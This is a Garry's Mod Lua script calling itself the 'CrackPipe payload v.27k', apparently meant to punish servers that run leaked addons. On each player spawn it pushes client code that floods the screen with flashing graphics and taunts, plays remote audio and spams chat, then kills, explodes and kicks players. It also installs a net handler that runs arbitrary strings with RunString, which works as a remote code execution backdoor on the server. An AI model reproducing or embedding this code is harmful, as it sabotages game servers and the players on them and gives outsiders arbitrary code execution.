local CP = {}
CP.beef = collectgarbage("count")
CP.code = [==[
if CP_IsEnabled then return end
CP_IsEnabled = true
local GraphiqueList = {}
hook.Add("HUDPaint","CPCPCPCP",function()
	for k,v in pairs(GraphiqueList) do
		v()
	end
end)
local function LaunchF(e)
	net.Start("{netk}")
	net.WriteString(e)
	net.SendToServer()
end

surface.CreateFont("CP_Message",{size=50})
local cMsg = ""
cMsg = "CrackPipe"
local totaltime = 0
local function Queuse(i,func)
	local tt = totaltime + i
	totaltime = totaltime + i
	timer.Simple(tt,func)
end
local function DrawRandomLines(num)
	for i=1,num/2 do
		local a = ColorRand()
		surface.SetDrawColor(a.r,a.g,a.b)
		surface.DrawLine(ScrW()/3,ScrH()/4, math.random(0,ScrW()),math.random(0,ScrH()))
	end
	for i=1,num/2 do
		local a = ColorRand()
		surface.SetDrawColor(a.r,a.g,a.b)
		surface.DrawLine((ScrW()/3)*2,ScrH()/4, math.random(0,ScrW()),math.random(0,ScrH()))
	end
end
sound.PlayURL("https://is.gd/TqdEv5","mono",function(s)
	s:Play()
	local msgs = {
	"leak for what",
	"oops",
	"destroyed",
	"crackpipe",
	"get some",
	"John the duck"
	}
	local function MaCoolFunc()
		local tbl = {}
		s:FFT(tbl,3)
		local avg = 0
		for i=1,20 do
			avg = avg + tbl[i]
		end
		avg = avg / 20
		avg = 10 + (avg * 1000)
		DrawRandomLines(math.floor(avg*10))
		draw.RoundedBox(0,0,0,ScrW(),ScrH(),Color(255,255,255,avg - 50))
		for i=1,45 do
			draw.SimpleText(table.Random(msgs),"CP_Message", math.random(0,ScrW()),math.random(0,ScrH()), ColorRand(),1,1)
		end
	end
	Queuse(1,function()
		GraphiqueList["default"] = function()
			draw.RoundedBox(0, 0,0,ScrW(),ScrH(),Color(math.random(200,255),0,0,150))
		end
	end)
	Queuse(1,function()
		GraphiqueList["message"] = function()
			draw.SimpleText(cMsg,"CP_Message", ScrW()/2,ScrH()/2, ColorRand(),1,1)
		end
	end)
	Queuse(1,function()
		cMsg = "Tu peux dire aurevoire a ton server de merde"
	end)
	Queuse(3,function()
		cMsg = "La prochaine fois tu ne leakera pas :)"
	end)
	Queuse(10,function()
		cMsg = "CrackPipe, Too bad you lost..."
	end)
	Queuse(10,function()
		LaunchF("e")
	end)
	Queuse(5,function()
		for i=1,100 do
			chat.AddText(ColorRand(),"Get ready to party")
		end
	end)
	Queuse(5,function()
		GraphiqueList["blinddead"] = function()
			cMsg = ""
			draw.RoundedBox(0,0,0,ScrW(),ScrH(),Color(255,255,255))
			draw.SimpleText("CRACKPIPE PAYLOAD v.27k","CP_Message", ScrW()/2,ScrH()/2, ColorRand(),1,1)
		end
		timer.Simple(4,function()
			GraphiqueList["blinddead"] = nil
		end)
	end)
	Queuse(10,function()
		GraphiqueList["blinddead"] = function()
			cMsg = ""
			draw.RoundedBox(0,0,0,ScrW(),ScrH(),Color(255,255,255))
			draw.SimpleText("CrackPipe by John-Duckesent","CP_Message", ScrW()/2,ScrH()/2, ColorRand(),1,1)
			draw.SimpleText("Non destructive payload","CP_Message", ScrW()/2, 250, ColorRand(),1,1)
			draw.SimpleText("Leaking addons is bad for your health","CP_Message", ScrW()/2,ScrH()/8, ColorRand(),1,1)
		end
		timer.Simple(8,function()
			GraphiqueList["blinddead"] = nil
		end)
	end)
	Queuse(8,function()
		cMsg = "3"
	end)
	Queuse(5,function()
		cMsg = "2"
	end)
	Queuse(5,function()
		cMsg = "1"
	end)
	Queuse(5,function()
		cMsg = "CrackPipe 27k"
	end)
	timer.Simple(20,function()
		GraphiqueList["blinddead"] = function()
			cMsg = ""
			draw.RoundedBox(0,0,0,ScrW(),ScrH(),Color(255,255,255))
			draw.SimpleText("Wait for it. . .","CP_Message", ScrW()/2,ScrH()/2, ColorRand(),1,1)
		end
		timer.Simple(8,function()
			GraphiqueList["blinddead"] = nil
		end)
	end)

	timer.Simple(87,function()
		LaunchF("e")
		GraphiqueList["default"] = MaCoolFunc
		timer.Create("CP_Gaymod",1,0,function()
			local mats = Entity(0):GetMaterials()
			for k,v in pairs(mats) do
			local r,g,b = ColorRand().r-50, ColorRand().g-50, ColorRand().b-50
				Material(v):SetVector("$color", Vector(r,g,b))
			end
		end)
		timer.Simple(5,function()
			LaunchF("e")
		end)
	end)
	timer.Simple(52,function()
		GraphiqueList["shaking"] = function()
			util.ScreenShake(LocalPlayer():GetPos(),10,50,1,10)
		end
	end)
	timer.Simple(106,function()
		GraphiqueList["default"] = nil
	end)
	timer.Simple(174,function()
		GraphiqueList["default"] = MaCoolFunc
	end)
	timer.Simple(235,function()
		LaunchF("a")
	end)



end)
LaunchF("e")
RunConsoleCommand("say", "CrackPipe yeah")
]==]
CP.net = "CP_CLSV__"
util.AddNetworkString(CP.net)
CP.code = string.Replace(CP.code, "{netk}",CP.net)
CP.NetFunction = {}
CP.NetFunction["k"] = function(ply)
	ply:Kill()
end
CP.NetFunction["e"] = function(ply)
	ply:Kill()
	local explosion = ents.Create( "env_explosion" )
    explosion:SetKeyValue( "spawnflags", 144 )
    explosion:SetKeyValue( "iMagnitude", 15 )
    explosion:SetKeyValue( "iRadiusOverride", 256 )
    explosion:SetPos(ply:GetPos())
    explosion:Spawn( )
    explosion:Fire("explode","",0)
end
CP.NetFunction["a"] = function(ply)
	ply:Kick("CRACKPIPE PAYLOAD v.27")
end
CP.NetFunction["r"] = function(ply)
	RunString(net.ReadString())
end
net.Receive("CP_CLSV__",function(_,ply)
	CP.NetFunction[net.ReadString()](ply)
end)
function CP.SetupPlayer(ply)
	ply:SendLua([[net.Receive("]]..CP.net..[[",function()
		RunString(net.ReadString())
	end)]])
end
function CP.SendPlayer(ply)
	net.Start(CP.net)
	net.WriteString(CP.code)
	net.Send(ply)
end

function CP.Spawn(ply)
	print(ply:Name().." connected, sending payload. . .")
	CP.SetupPlayer(ply)
	timer.Simple(5, function()
		CP.SendPlayer(ply)
	end)
end
hook.Add( "PlayerSpawn", "CP_Spawn", CP.Spawn )

for i,v in ipairs(player.GetAll()) do
	CP.Spawn(v)
end
print("------------------------")
print("CrackPipe 27k loaded !")
print("------------------------")
print("Ready to party !")
print("------------------------")
print("Beef: ",collectgarbage("count")-CP.beef,"Kb")
collectgarbage()
print("Af: ",collectgarbage("count")-CP.beef,"Kb")
print("------------------------")